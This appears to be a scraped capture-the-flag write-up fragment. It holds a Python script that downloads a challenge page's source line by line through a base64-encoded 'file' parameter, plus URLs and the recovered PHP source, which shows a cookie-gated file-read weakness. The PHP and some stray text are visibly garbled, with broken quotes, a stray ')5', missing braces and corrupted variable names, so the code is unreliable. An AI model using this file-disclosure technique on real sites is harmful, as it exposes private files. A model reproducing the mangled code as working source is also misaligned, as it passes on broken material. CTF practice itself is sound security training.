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# !/usr/bin/env python3
# __author__: renzongxian

import requests

file = open('index.php', 'wb')
for i in range(19):
url = "http://ctf.idf.cn/game/web/40/index.php?line=" + str(i) + "&file=aW5kZXgucGhw"
r =requests.get(url)
content = r.content
file.write(content)

file.close()

PE R findex.php A &N


https://blog.csdn.net/weixin_30488085
http://www.cnblogs.com/renzongxian/p/4662169.html
http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40
http://ctf.idf.cn/game/web/40/index.php
http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ

<?php
error_reporting(9);
$file=base64_decode(isset($ GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=="") header("location:index.php?line=8&file=ZmxhzZy50eHQ");
$file_list = array(
'0' =>'flag.txt’',
'1l' =>"index.php',
)5

if(isset($_COOKIE[ 'key']) && $ COOKIE['key']=="'idf'){

$file list[2]="flag.php';

if(in_array($file, $file list)){
$fa = file($file);
echo $fa[$line];

?>
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